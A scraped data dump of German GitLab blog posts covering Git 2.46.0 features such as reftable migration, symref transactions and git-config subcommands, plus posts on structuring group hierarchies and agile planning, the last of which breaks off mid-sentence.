Git-Projekt hat kürzlich [Git v2.46.0](https://lore.kernel.org/git/xmqqzfq0i0qa.fsf@gitster.g/T/#u) veröffentlicht. Werfen wir einen Blick auf die wichtigsten Highlights dieser Version, die Beiträge des Git-Teams von GitLab und der gesamten Git-Community enthält.\n\n## Tools zur Migration von Referenz-Backends\n\nIn der vorherigen [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.45.0.txt?ref_type=heads)-Release wurde das Format „reftables“ als neues Backend zum Speichern von Referenzen eingeführt. Dieses neue Referenzformat behebt einige Schwierigkeiten, die Repositories hatten, wenn die Anzahl der Referenzen stieg. Wenn du mit dem reftables-Backend noch nicht vertraut bist, lies dir unseren letzten [Blogbeitrag zur Git-Release](https://about.gitlab.com/blog/whats-new-in-git-2-45-0/) durch, in dem das Feature vorgestellt wurde. Auch unsere Anfängerleitfaden ist toll, um [mehr darüber zu erfahren, wie reftables funktionieren](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/).\n\nDas reftable-Backend hat ein anderes Festplattenformat als das vorhandene files-Backend. Daher ist bei der Verwendung von reftables in einem bestehenden Repository eine Konvertierung zwischen den verschiedenen Formaten erforderlich. Dazu wurden der neue Befehl git-refs(1) und der Unterbefehl `migrate` eingeführt, um Referenz-Backend-Migrationen auszuführen. Hier findest du ein Beispiel dafür, wie dieser Befehl verwendet werden kann.\n\n```shell\n# Initialisiere ein neues \"bare\" Repository, damit es keine Reflogs enthält.\n$ git init --bare .\n$ git commit --allow-empty -m \"init\"\n# Erstelle ein paar Referencen.\n$ git branch foo\n$ git branch bar\n$ tree .git/refs\n.git/refs\n├── heads\n│   ├── bar\n│   ├── foo\n│   ├── main\n└── tags\n# Migriere Referenzen zum reftable Format.\n$ git refs migrate --ref-format=reftable\n# Überprüfe, ob jetzt das reftable Backend benutzt wird.\n$ tree .git/reftable\n.git/reftable\n├── 0x000000000001-0x000000000001-a3451eed.ref\n└── tables.list\n# Überprüfe die Repository Konfiguration um das neue `refstorage` Format zu sehen.\n$ cat config\n[core]\n        repositoryformatversion = 1\n        filemode = true\n        bare = true\n        ignorecase = true\n        precomposeunicode = true\n[extensions]\n        refstorage = reftable\n```\n\nSobald ein Repository migriert wurde, wird das Festplattenformat geändert, sodass du dann das reftable-Backend nutzen kannst. Git-Abläufe im Repository funktionieren und interagieren wie gewohnt mit Remotes. Die Migration wirkt sich nur darauf aus, wie Referenzen intern für das Repository gespeichert werden. Wenn du zum file-Referenz-Backend zurückkehren möchtest, führe einfach den gleichen Befehl aus und spezifiziere dabei `--ref-format=files`.\n\nDas Migrationstool hat derzeit einige signifikante Einschränkungen. Die Reflogs in einem Repository werden auch über das Referenz-Backend gespeichert und würden ebenfalls eine Migration erfordern. Leider ist das Tool noch nicht in der Lage, Reflogs zwischen den files- und reftables-Backends zu konvertieren. Außerdem hat ein Repository mit Worktrees im Grunde mehrere Ref-Stores, und das Migrationstool kann dieses Szenario derzeit noch nicht bewältigen. Wenn ein Repository also Reflogs oder Worktrees enthält, ist die Migration derzeit nicht verfügbar. Diese Einschränkungen werden voraussichtlich in zukünftigen Versionen behoben.\n\nDa ein “bare” Git-Repository keine Reflogs hat, ist es einfacher zu migrieren. Um ein nicht-”bare” Repository zu migrieren, müssen die Reflogs zuerst gelöscht werden. Es kann also jedes Repository ohne Reflogs oder Worktrees migriert werden. Wenn du diese Einschränkungen im Hinterkopf behältst, kann dieses Tool ein guter Helfer sein, um die Vorteile des reftables-Backends in deinen bestehenden Repositories zu nutzen.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Transaktionale symref-Updates\n\nDer Befehl [git-update-ref(1)](https://git-scm.com/docs/git-update-ref)\nerlaubt es, Referenzen in einem Git-Repository zu schreiben. Es können auch mehrere Referenz-Updates atomar mit Transaktionen ausgeführt werden, indem der Befehl `git update-ref --stdin` verwendet wird und die Informationen zum Referenz-Update an stdin übergeben werden. Nachfolgend findest du ein Beispiel dafür, wie dies geschieht.\n\n```shell\n$ git init .\n$ git branch -m main\n$ git commit --allow-empty -m \"foo\" && git commit --allow-empty -m \"bar\"\n# Lese die Objekt ID für die zwei erstellten Commits.\n$ git rev-parse main~ main\n567aac2b3d1fbf0bd2433f669eb0b82a0348775e\n3b13462a9a42e0a3130b9cbc472ab479d3ef0631\n# Starte eine Transaktion mit mehreren Updates und committe diese.\n$ git update-ref --stdin \u003C\u003CEOF\n> start\n> create refs/heads/new-ref 3b13462a9a42e0a3130b9cbc472ab479d3ef0631\n> update refs/heads/main 567aac2b3d1fbf0bd2433f669eb0b82a0348775e\n> commit\n> EOF\n$ git for-each-ref\n567aac2b3d1fbf0bd2433f669eb0b82a0348775e commit refs/heads/main\n3b13462a9a42e0a3130b9cbc472ab479d3ef0631 commit refs/heads/my-ref\n```\n\nIn diesem Beispiel wird nach dem Commit der Transaktion ein neuer Branch erstellt, der auf den Commit „bar“ zeigt, und der Haupt-Branch wird aktualisiert, um auf den vorherigen Commit „foo“ zu zeigen. Durch das Committen der Transaktion werden die angegebenen Referenz-Updates atomar durchgeführt. Wenn ein einzelnes Referenz-Update fehlschlägt, wird die Transaktion abgebrochen und es werden keine Referenz-Updates durchgeführt.\n\nHier ist bemerkenswert, dass es keine Anweisungen zur Unterstützung von symref-Updates bei diesen Transaktionen gibt. Wenn ein(e) Benutzer(in) ein symref zusammen mit anderen Referenzen atomar in derselben Transaktion aktualisieren möchte, gibt es dazu kein Tool. Die in dieser Release eingeführten Anweisungen `symref-create`, `symref-update`, `symref-delete` und `symref-verify` bieten diese Funktion.\n\n```shell\n# Erstelle eine symbolische Referenz, die wir updaten können.\n$ git symbolic-ref refs/heads/symref refs/heads/main\n# Der --no-deref Parameter wird benötigt, damit die symbolische Referenz selbst geupdated wird.\n$ git update-ref --stdin --no-deref \u003C\u003CEOF\n> start\n> symref-create refs/heads/new-symref refs/heads/main\n> symref-update refs/heads/symref refs/heads/new-ref\n> commit\n> EOF\n$ git symbolic-ref refs/heads/symref\nrefs/heads/new-ref\n$ git symbolic-ref refs/heads/new-symref\nrefs/heads/main\n```\n\nIm obigen Beispiel wird eine neue symbolische Referenz erstellt und eine weitere in einer Transaktion aktualisiert. Diese neuen symref-Anweisungen können in Kombination mit den bereits bestehenden Anweisungen verwendet werden, um alle Arten von Referenz-Updates jetzt in einer einzigen Transaktion durchführen zu können. Weitere Informationen zu jeder dieser neuen Anweisungen findest du in der [Dokumentation](https://git-scm.com/docs/git-update-ref).\n\nDieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.\n\n## UX-Verbesserungen für git-config(1)\n\nMit dem Befehl git-config(1) können Repository-Optionen und globale Optionen angezeigt und konfiguriert werden. Die Modi, die für die Interaktion mit der Konfiguration verwendet werden, können explizit mit Hilfe von Flags ausgewählt oder implizit basierend auf der Anzahl der dem Befehl bereitgestellten Argumente bestimmt werden. Ein Beispiel:\n\n```shell\n$ git config --list\n# Lese den Nutzernamen im expliziten Modus.\n$ git config --get user.name\n# Lese den Nutzernamen im impliziten Modus.\n$ git config user.name\n# Schreibe den Nutzernamen im expliziten Modus.\n$ git config --set user.name \"Sidney Jones\"\n# Schreibe den Nutzernamen im impliziten Modus.\n$ git config user.name \"Sidney Jones\"\n# Man kann auch ein optionales drittes Argument übergeben. Was denkst du, was der Effekt ist?\n$ git config \u003Cname> [\u003Cvalue> [\u003Cvalue-pattern>]]\n```\n\nIm Allgemeinen entspricht die Benutzeroberfläche von [git-config(1)](https://git-scm.com/docs/git-config) nicht den anderen, moderneren Git-Befehlen, bei denen man normalerweise Unterbefehle verwendet. Ein Beispiel ist `git remote list`. In diesem Release werden `list`, `get`, `set`, `unset`, `rename-section`, `remove-section` und `edit` als Unterbefehle eingeführt, die mit dem config-Befehl verwendet werden können, während gleichzeitig die alte Syntax erhalten bleibt. Diese Änderung soll das Erlebnis der Benutzer(innen) verbessern, indem der config-Befehl den UI-Gewohnheiten entspricht und sich mehr an andere Befehle in Git angleicht. Zum Beispiel:\n\n```shell\n$ git config list\n$ git config get user.name\n$ git config set user.name \"Sidney Jones\"\n```\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Performance-Regression wurde behoben\n\nGit-Operationen, die Attribute nutzen, lesen die `.gitattributes` Dateien im Worktree des Repositorys. Dies ist für reine Git-Repositories problematisch, da diese per Definition keinen Worktree haben. Um dies zu umgehen, gibt es in Git die Konfiguration `attr.tree`, mit der ein Quellbaum definiert werden kann, von dem Attribute ausgelesen werden.\n\nIn der Git Release 2.43.0 hat Git begonnen, bei “bare” Repositories standardmäßig den Baum von `HEAD` als Quelle für Git-Attribute heranzuziehen. Leider führte diese zusätzliche Belastung durch die Suche nach Git-Attributdateien zu schweren Leistungseinbußen. Das liegt daran, dass bei jeder Attributsuche der komplette Quellbaum durchsucht wird, um nach einer zugeordneten `.gitattributes`-Datei zu suchen, wenn `attr.tree` festgelegt ist. Je größer und tiefer der Quellbaum des Repository ist, desto deutlicher wird die Performance-Regression. Benchmarks im linux.git-Repository zeigten beispielsweise, dass git-pack-objects(1) 1,68-mal länger braucht, um durchzulaufen. Dies kann zu Verzögerungen führen, wenn man beispielsweise git-clone(1) oder git-fetch(1) benutzt.\n\n```\n# attr.tree zeigt auf \"HEAD\", wie es in Git 2.43.0 Standard ist.\nBenchmark 1: git -c attr.tree=HEAD pack-objects --all --stdout \u003C/dev/null >/dev/null\n  Time (mean ± σ):     133.807 s ±  4.866 s    [User: 129.034 s, System: 6.671 s]\n  Range (min … max):   128.447 s … 137.945 s    3 runs\n\n# attr.tree zeigt auf einen leeren Baum, wie es in Versionen vor Git 2.43.0 Standard war.\nBenchmark 2: git -c attr.tree=4b825dc642cb6eb9a060e54bf8d69288fbee4904 pack-objects --all --stdout \u003C/dev/null >/dev/null\n  Time (mean ± σ):     79.442 s ±  0.822 s    [User: 77.500 s, System: 6.056 s]\n  Range (min … max):   78.583 s … 80.221 s    3 runs\n```\n\nEinige der wichtigsten Git-Befehle, die betroffen waren, sind `clone`, `pull`, `fetch` und `diff`, wenn diese wie erwähnt in Repositories mit großen oder tiefen Bäumen ausgeführt wurden. Um diese Performance-Regression zu beheben, wurde also die `attr.tree`-Konfiguration teilweise zurückgesetzt, sodass sie nicht mehr standardmäßig auf `HEAD` gesetzt ist. Weitere Informationen findest du in diesem [Thread](https://lore.kernel.org/git/CAKOHPAn1btewYTdLYWpW+fOaXMY+JQZsLCQxUSwoUqnnFN_ohA@mail.gmail.com/) in der Mailingliste.\n\n## Unit-Test-Migration\n\nIn der Vergangenheit wurde das Testen im Git-Projekt über End-to-End-Tests durchgeführt, die als Shell-Skripte implementiert waren. Vor relativ kurzer Zeit hat das Git-Projekt ein Unit-Test-Framework, das in C geschrieben ist, eingeführt. Dieses neue Test-Framework bietet die Möglichkeit für detailliertere Tests von Implementierungsdetails auf niedrigerer Ebene und stellt dadurch eine Ergänzung der bestehenden End-to-End Tests dar. Es gibt einige bestehende End-to-End-Tests, die besser als Unit-Tests und daher gut für die Portierung geeignet sind.\n\nIn diesem Jahr unterstützt GitLab erneut Mitwirkende des [Google Summer of Code (GSoC)](https://summerofcode.withgoogle.com/), die im Git-Projekt arbeiten. Dank dieser laufenden GSoC-Projekte und auch der großen Git-Community werden einige bestehende Tests überarbeitet und in das Unit-Test-Framework migriert. Während dieses letzten Release-Zyklus gab es mehrere Beiträge zur Verbesserung von Tests im Git-Projekt. Den Entwicklungsfortschritt dieser GSoC-Projekte kannst du auf den Blogs von [Chandra](https://chand-ra.github.io/) und [Ghanshyam](https://spectre10.github.io/posts/) verfolgen.\n\n## Bundle-URI-Fixes\n\nWenn ein Client etwas aus einem Remote-Repository abruft, werden normalerweise alle erforderlichen Objekte in einer vom Remote-Server zusammengestellten Packfile gesendet. Um einen Teil dieser Berechnungen einzusparen, können Server vorgefertigte „Bundles“ anbieten, die separat vom Remote-Server gespeichert werden und eine Reihe von Referenzen und Objekten enthalten, die der Client brauchen könnte. Der Client kann diese Pakete zuerst über einen Mechanismus namens [bundle-uri](https://git-scm.com/docs/bundle-uri) abrufen.\n\nDank [Xing Xin](https://lore.kernel.org/git/pull.1730.git.1715742069966.gitgitgadget@gmail.com/) wurde ein Problem identifiziert und behoben, bei dem Git trotz des Herunterladens einiger Bundles immer noch alles vom Remote-Server heruntergeladen hat, als gäbe es keine Bundles. Das Problem war, dass Git nicht alle heruntergeladenen Bundles korrekt erkannte, was dazu führte, dass die aufeinanderfolgenden Bundles vom Remote-Server abgerufen werden mussten. Dank diesem Fix können Remote-Server, die den Mechanismus bundle-uri verwenden, diese redundante Arbeit vermeiden und die Leistung verbessern.\n\n## Weiterlesen\n\nIn diesem Artikel wurden nur einige der Beiträge von GitLab und der breiteren Git-Community für dieses neueste Release vorgestellt. Mehr darüber erfährst du in der [offiziellen Release-Ankündigung](https://lore.kernel.org/git/xmqqzfq0i0qa.fsf@gitster.g/T/#u) des Git-Projekts. Sieh dir auch unsere [letzten Blogbeiträge zu Git-Releases](https://about.gitlab.com/blog/tags/git/) an, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.",[849,913,270],"2024-08-14",{"slug":2983,"featured":92,"template":682},"whats-new-in-git-2-46-0","content:de-de:blog:whats-new-in-git-2-46-0.yml","Whats New In Git 2 46 0","de-de/blog/whats-new-in-git-2-46-0.yml","de-de/blog/whats-new-in-git-2-46-0",{"_path":2989,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2990,"content":2996,"config":3003,"_id":3005,"_type":16,"title":3006,"_source":17,"_file":3007,"_stem":3008,"_extension":20},"/de-de/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"ogTitle":2991,"schema":2992,"ogImage":2993,"ogDescription":2994,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":2995,"title":2991,"canonicalUrls":2995,"description":2994},"Skalierbare Unternehmenshierarchien: Bewährte Methoden","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Bewährte Methoden zum Einrichten von Unternehmenshierarchien, die skalierbar sind\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-22\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098165/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750098164666.png","Erfahre, wie du eine Organisationshierarchie in GitLab modellierst. Erstelle Strukturen mit klaren Kommunikationslinien, strategischer Ausrichtung und mehr und halte gleichzeitig die Prinzipien der Agile-Methodik ein.","https://about.gitlab.com/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"heroImage":2993,"body":2997,"authors":2998,"updatedDate":2999,"date":3000,"title":3001,"tags":3002,"description":2994,"category":976},"Um die Vorteile deines GitLab-Abonnements optimal zu nutzen, muss dein Unternehmen effektiv eingerichtet werden. Hier findest du eine einfache Anleitung, um deine Gruppen-, Untergruppen und Projektstruktur zu konfigurieren und so dein GitLab-Erlebnis zu optimieren.\n\n## Struktur verstehen: Gruppen, Untergruppen und Projekte\n\nMit Gruppen und Projekten kannst du deine Organisationshierarchie nachbilden, eine erweiterte Berechtigungsverwaltung ermöglichen und eine Planung eines „Teams von Teams“ entwickeln. Verwende Gruppen und Untergruppen für die strategische Planung und ein Konfigurationsmanagement, das sich in Untergruppen und Projekte, die weiter unten in der Hierarchie stehen, untergliedert.\n\nDarüber hinaus kannst du auch deine Wertschöpfungsketten nachbilden, das Projektmanagement optimieren sowie die Zusammenarbeit in deinem Unternehmen verbessern.\n\n- **Projektebene (Teamebene)**\n    - Projekte sind innerhalb von Gruppen oder Untergruppen verschachtelt und sind der Ort, an dem deine eigentliche Arbeit erfolgt. Hier befinden sich Repositories und die projektspezifischen Einstellungen werden hier verwaltet. Auf dieser Ebene erhältst du Einblick in die täglichen Aktivitäten und die detaillierte Projektverfolgung.\n    - Eine effektive Projektkonfiguration sorgt für klare, organisierte Daten, die wiederum unerlässlich für genaue Berichte und Analysen sind.\n\n- **Untergruppenebene (Team aus Teams)**\n    - Untergruppen bieten eine granulare Berechtigungsverwaltung und können an die Anforderungen bestimmter Teams und Projekte angepasst werden. So stellen sie einen konsistenten Workflow im gesamten Unternehmen sicher. \n    - Untergruppen fungieren als Cluster verwandter Projekte, ähnlich wie ein „Team von Teams“ in Agile. \n    - Diese Ebene ist ideal für die Verwaltung mehrerer Teams, die an einem gemeinsamen Produkt oder einen gemeinsamen Dienst arbeiten. Sie erleichtert die projektübergreifende Sichtbarkeit und Integration, was die Synchronisation zwischen Teams unterstützt, um Abhängigkeiten oder gemeinsame Ziele abzustimmen.\n\n- **Gruppenebene (Team aus Team aus Teams)**\n    - Stell dir Gruppen als organisatorische Säulen in GitLab vor, mit denen breite Berechtigungen und Zugriffsrechte verwaltet werden.\n    - Auf höchster Ebene umfassen Gruppen mehrere Untergruppen und sind die strategische Ebene im Projektmanagement, ähnlich wie „Team aus Team aus Teams“ in Agile.\n    - In dieser Stufe werden übergeordnete Ziele und Strategien festgelegt, Einstellungen definiert und Ressourcen über Projekte und Untergruppen übergreifend zugewiesen, um sicherzustellen, dass diese den übergeordneten Geschäftszielen entsprechen.\n\nIndem du dein Unternehmen mit GitLab strukturierst, bildest du deine gewählte Agile Methodik ab. Dies kann dir dabei helfen, die Agile-Prinzipien selbstverständlicher in deinen Projekten umzusetzen. Diese Struktur fördert klare Kommunikationslinien, effektives Ressourcenmanagement und eine strategische Ausrichtung, während gleichzeitig die Flexibilität und Reaktionsschnelligkeit, die für Agile Methoden ausschlaggebend sind, beibehalten werden.\n\n> Informiere dich über Neuigkeiten und Erkenntnisse zur [Agile Planung mit GitLab](https://about.gitlab.com/blog/categories/agile-planning/).\n\n## Nutzung des GitLab-Vererbungsmodells\n\nEine der leistungsstarken Funktionen von GitLab ist das [Vererbungsmodell](https://docs.gitlab.com/ee/tutorials/scrum_events/index.html#understanding-the-inheritance-model-in-gitlab), mit dem Einstellungen, Berechtigungen und Konfigurationen auf höheren Ebenen automatisch auf niedrigere Ebenen in der Hierarchie angewendet werden können. Umgekehrt stehen Daten auf niedrigeren Ebenen sofort auf höheren Ebenen in der Struktur zur Verfügung. Mit dem Vererbungsmodell erhältst du aus übergeordneten Gruppen Sichtbarkeit über das gesamte Portfolio und stellst weiter unten in der Hierarchie eigene Orte bereit, in denen die einzelnen Teams ihre Arbeit verwalten können.\n\nBeispiele:\n- **Erstelle Meilensteine und Labels in deinen höheren Gruppen**, um diese auf alle Untergruppen und Projekte zu verteilen. So förderst du Konsistenz und die Einhaltung von Unternehmensstandards.\n- **Tickets und Epics** in untergeordneten Projekten und Untergruppen werden in der Wertstromhierarchie nach oben befördert, damit das Programm-Management und die Führungsebene leichter darauf zugreifen können. \n- **Verwalte Benutzerberechtigungen auf Gruppenebene oder in der Hauptuntergruppe**, um die Berechtigungen und die Zugriffskontrolle zu optimieren. Dadurch kann die Verwaltung der Zugangskontrolle vereinfacht und sichergestellt werden, dass die richtigen Personen über mehrere Projekte hinweg den richtigen Zugriff haben, ohne dass die Konfiguration mehrfach vorgenommen werden muss.\n\nDiese Tipps optimieren nicht nur den Verwaltungsaufwand, sondern verbessern auch Sicherheit und Compliance, indem sichergestellt wird, dass Änderungen auf einer höheren Ebene immer auch auf untergordnete Hierarchieebenen übertragen werden.\n\n![Organisatorisches Hierarchiediagramm](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098179305.png)\n\n## Bewährte Methoden für die Einrichtung von GitLab\n\nWenn du deine GitLab-Organisationshierarchie einrichtest, solltest du je nach den Bedürfnissen deines Unternehmens die folgenden Optionen beachten. Self-Managed-Kund(inn)en können die Root-Gruppen-Ebene „Unternehmensname“ weglassen, da diese zusätzliche Organisationsebene für Self-Managed-Bereitstellungen nicht nötig ist. Durch diese Flexibilität kannst du sicherstellen, dass dein GitLap-Setup an deine spezifische Unternehmensstruktur und Präferenzen bei der Bereitstellung angepasst ist.\n\n### Option 1: Berechtigungen und Zugriffsrechte werden auf der Ebene der Organisationsuntergruppe vergeben\n\nDiese Option ist ideale für komplexe Berechtigungsstrukturen oder große Unternehmen, bei denen zahlreiche Benutzer(innen) effizient gemeinsam an Projekten arbeiten müssen.\n\n#### Beispielstruktur\n\n- Organisationsgruppe \n    - Verarbeitet umfassende Berechtigungen normalerweise durch die Integration mit den Bereitstellungssystemen des Unternehmens.\n    - Benutzer(innen) werden zu Untergruppen hinzugefügt, die als Grundlage für die gemeinsame Nutzung der gesamten Gruppe mit einer anderen [Gruppe](https://docs.gitlab.com/ee/user/group/manage.html#share-a-group-with-another-group) oder einem [Projekt](https://docs.gitlab.com/ee/user/project/members/share_project_with_groups.html) dienen, um den Aufwand für die direkte Benutzerverwaltung zu minimieren.\n    - Wenn du Benutzergruppen erstellst, kannst du [Gruppenerwähnungen](https://docs.gitlab.com/ee/user/discussions/index.html#mentions) in GitLab verwenden, um große Benutzergruppen gleichzeitig zu erwähnen.\n\n- Entwicklungsgruppe\n    - Bietet Transparenz auf Führungsebene und Programm-Management-Ebene über alle Entwicklungsprojekte auf Ebene der Hauptentwicklungsgruppe.\n    - Funktionen werden auf Untergruppenebene für den Zugriff über mehrere Repos hinweg erstellt.\n    - Es werden Projekte erstellt, die Entwicklungs-Repos enthalten. Dies ist die Ebene für die Teamsichtbarkeit.\n\n![Organigramm für Untergruppenebene](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/Image_1_aHR0cHM6_1750098179306.png)\n\n### Option 2: Berechtigungen und Zugriffsrechte werden auf jeder Ebene vergeben\nDiese Option ist am besten für kleinere Unternehmen mit weniger komplexen Zugriffsanforderungen geeignet. Benutzer(innen) werden einzeln zu den Bereichsgruppen, Untergruppen oder Projekten hinzugefügt, wenn ein Zugriff erforderlich ist. Dies ermöglicht direkte Kontrolle über das Projektmanagement und die betriebliche Sichtbarkeit.\n\n#### Highlights\n- Benutzer(innen) können je nach Granularität der Zugriffsanforderungen einer übergeordneten Gruppe oder einer untergeordneten Untergruppe/einem Projekt hinzugefügt werden. Jedes Mitglied müsste einzeln hinzugefügt werden, anstatt mit einer Aufgabe eine ganze Gruppe zu teilen.\n- Transparenz auf Führungsebene und Programm-Management-Ebene über alle Entwicklungsprojekte in der Hauptentwicklungsgruppe.\n- Funktionen werden auf Untergruppenebene für den Zugriff über mehrere Repos hinweg erstellt.\n- Es werden Projekte erstellt, die Entwicklungs-Repos enthalten. Dies ist die Ebene für die Teamsichtbarkeit.\n\n![Berechtigungen auf jeder Ebene](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/Image_2_aHR0cHM6_1750098179307.png)\n\n### Zusätzliche Konfigurationsüberlegungen\n\n- Meilensteine und Iterationen \n    - Erstelle Meilensteine auf Gruppenebene für eine breite Sichtbarkeit oder wenn Meilensteine gruppenübergreifend geteilt werden müssen.  \n    - Erstelle Meilensteine auf Projektebene, wenn der Meilenstein für ein einzelnes Projekt spezifisch ist. \n    - Für Teams, die über verschiedene Gruppen hinweg arbeiten, ist es von Vorteil, Iterationen auf der Ebene der übergeordneten Gruppe festzulegen, um eine einheitliche Nachverfolgung zu ermöglichen.\n\n- Datenverwaltung \n    - Nutze die Roadmaps, Übersichten und Listen von GitLab, um Daten abzurufen, die dein Unternehmens-Setup widerspiegeln. Damit kannst du den Fortschritt visualisieren und effektiv über verschiedene Ebenen deiner Struktur hinweg planen. \n    - GitLab stellt Daten in übergeordneten Gruppen zur Verfügung, auch wenn die Daten auf niedrigeren Ebenen erstellt werden. \n    - Erstelle deine Ansichten auf höheren Ebenen, wenn du Daten gruppen- und projektübergreifend anzeigen möchtest, und auf niedrigeren Ebenen, wenn du die Daten nur für eine bestimmte Gruppe oder ein bestimmtes Projekt nutzen möchtest.\n\n- Erstellung von Vorlagen \n    - Erstelle Vorlagen auf höheren Ebenen, um sicherzustellen, dass sie für alle untergeordneten Untergruppen und Projekte kaskadiert werden, wobei allgemeine Richtlinien mit projektspezifischen Anforderungen kombiniert werden.\n    - Vorlagen werden in ihrem eigenen Repository innerhalb der entsprechenden Gruppe erstellt ([zugehörige Dokumentation](https://docs.gitlab.com/ee/user/project/description_templates.html)).\n\n- Labels \n    - Erstelle Labels auf höheren Ebenen, um sicherzustellen, dass sie für alle untergeordneten Untergruppen und Projekte kaskadiert werden, wobei Unternehmenslabels mit projektspezifischen Labels gemischt werden.\n    - Verwende Labels mit begrenztem Geltungsbereich, um Organisationsstrukturen wie Teams und den Workflow-Status zu definieren.\n\n![Issue-Übersicht mit Labels](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098179/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098179310.png)\n\n## Nutze die Funktionen von GitLab für optimale Performance\n\nWenn du die richtige Struktur in GitLab implementierst, optimierst du nicht nur das Management deiner Softwareprojekte, sonder verbesserst auch die Sichtbarkeit auf den verschiedenen Ebenen deines Unternehmens. So kann sichergestellt werden, dass alle vom obersten Management bis zu den einzelnen Mitwirkenden die Informationen haben, die sie für fundierte Entscheidungen brauchen. \n\n> Starte noch heute und modelliere deine Organisationshierarchie [mit einer kostenlosen Testversion von GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n",[1812],"2024-11-19","2024-07-22","Bewährte Methoden zum Einrichten von Unternehmenshierarchien, die skalierbar sind",[973,745,746],{"slug":3004,"featured":6,"template":682},"best-practices-to-set-up-organizational-hierarchies-that-scale","content:de-de:blog:best-practices-to-set-up-organizational-hierarchies-that-scale.yml","Best Practices To Set Up Organizational Hierarchies That Scale","de-de/blog/best-practices-to-set-up-organizational-hierarchies-that-scale.yml","de-de/blog/best-practices-to-set-up-organizational-hierarchies-that-scale",{"_path":3010,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3011,"content":3017,"config":3023,"_id":3025,"_type":16,"title":3026,"_source":17,"_file":3027,"_stem":3028,"_extension":20},"/de-de/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"ogTitle":3012,"schema":3013,"ogImage":3014,"ogDescription":3015,"ogSiteName":1396,"noIndex":6,"ogType":1397,"ogUrl":3016,"title":3012,"canonicalUrls":3016,"description":3015},"GitLab Agile-Planung verbessert kollaboratives Management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"So verbessert die Agile-Planung von GitLab das kollaborative Projektmanagement\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amanda Rueda\"}],\n        \"datePublished\": \"2024-07-16\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097041/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%2822%29_718ZuurL0op4weunB2fBlD_1750097040694.png","Die Transformation, die GitLab für das Projektmanagement mit sich bringt, ist nicht nur die Verwendung eines Tools, sondern die Förderung einer Kultur der Zusammenarbeit und kontinuierlichen Verbesserung. Hier erfährst du, wie.","https://about.gitlab.com/blog/how-gitlab-agile-planning-improves-collaborative-project-management",{"heroImage":3014,"body":3018,"authors":3019,"updatedDate":2823,"date":3020,"title":3021,"tags":3022,"description":3015,"category":976},"Effektive Zusammenarbeit ist das Rückgrat des agilen Projektmanagements und ermöglicht es Unternehmensteams, qualitativ hochwertige Software effizient zu liefern. Die umfassende Plattform von GitLab verbessert die Zusammenarbeit, optimiert Workflows und unterstützt [Agile-Prinzipien](https://about.gitlab.com/de-de/solutions/agile-delivery/). In diesem Artikel erfährst du, wie GitLab Teams in die Lage versetzt, nahtlos zusammenzuarbeiten und Projektergebnisse zu verbessern.\n\n## Der Wert des kollaborativen Projektmanagements für Agile-Teams in Unternehmen \n\nDie Einführung kollaborativer Projektmanagementpraktiken ist für Agile-Teams unerlässlich, um in den dynamischen Entwicklungsumgebungen von heute erfolgreich zu sein. Hier erfährst du, warum das wichtig ist und wie GitLab Enterprise Agile Planning Unternehmen dabei hilft:\n\n- **Verbesserte Kommunikation:** Zusammenarbeit sorgt für einen reibungslosen Kommunikationsfluss zwischen allen Teammitgliedern, verhindert Missverständnisse und richtet alle auf gemeinsame Ziele aus. Dies ist in Agile-Unternehmensumgebungen, in denen schnelle Iterationen und kontinuierliches Feedback entscheidend sind, unerlässlich.\n  - *Durch die Aufteilung von Epics und die Verwendung von Kommentaren in Threads in GitLab sind alle auf dem gleichen Stand und es werden detaillierte Diskussionen innerhalb von Tickets gefördert.*\n- **Erhöhte Effizienz:** Durch die Förderung einer kollaborativen Atmosphäre können Teams die einzigartigen Fähigkeiten und das Fachwissen jedes Mitglieds nutzen, was zu einer schnelleren Problemlösung und Aufgabenerledigung führt. Tools für Zusammenarbeit optimieren Workflows, reduzieren Engpässe und ermöglichen es Teams, schneller Werte zu schaffen.\t\n  - *Die einheitliche Plattform von GitLab integriert alle Aspekte der Entwicklung, von der Planung bis zur Bereitstellung, und sorgt so für optimierte und effiziente Workflows.*\n\n- **Verbesserte Entscheidungsfindung:** Wenn Teammitglieder eng zusammenarbeiten, können sie unterschiedliche Perspektiven und Erkenntnisse austauschen, was zu einer besseren Entscheidungsfindung führt. Zusammenarbeit fördert eine Kultur der kollektiven Intelligenz, in der die besten Ideen identifiziert und umgesetzt werden.\n  - *Die Issue-Übersichten und Labels von GitLab helfen bei der Organisation und Priorisierung von Ideen und erleichtern die Bewertung von Optionen und das Treffen fundierter Entscheidungen.*\n- **Bessere Moral und mehr Engagement:** Die Arbeit in einer kollaborativen Umgebung, in der Beiträge geschätzt 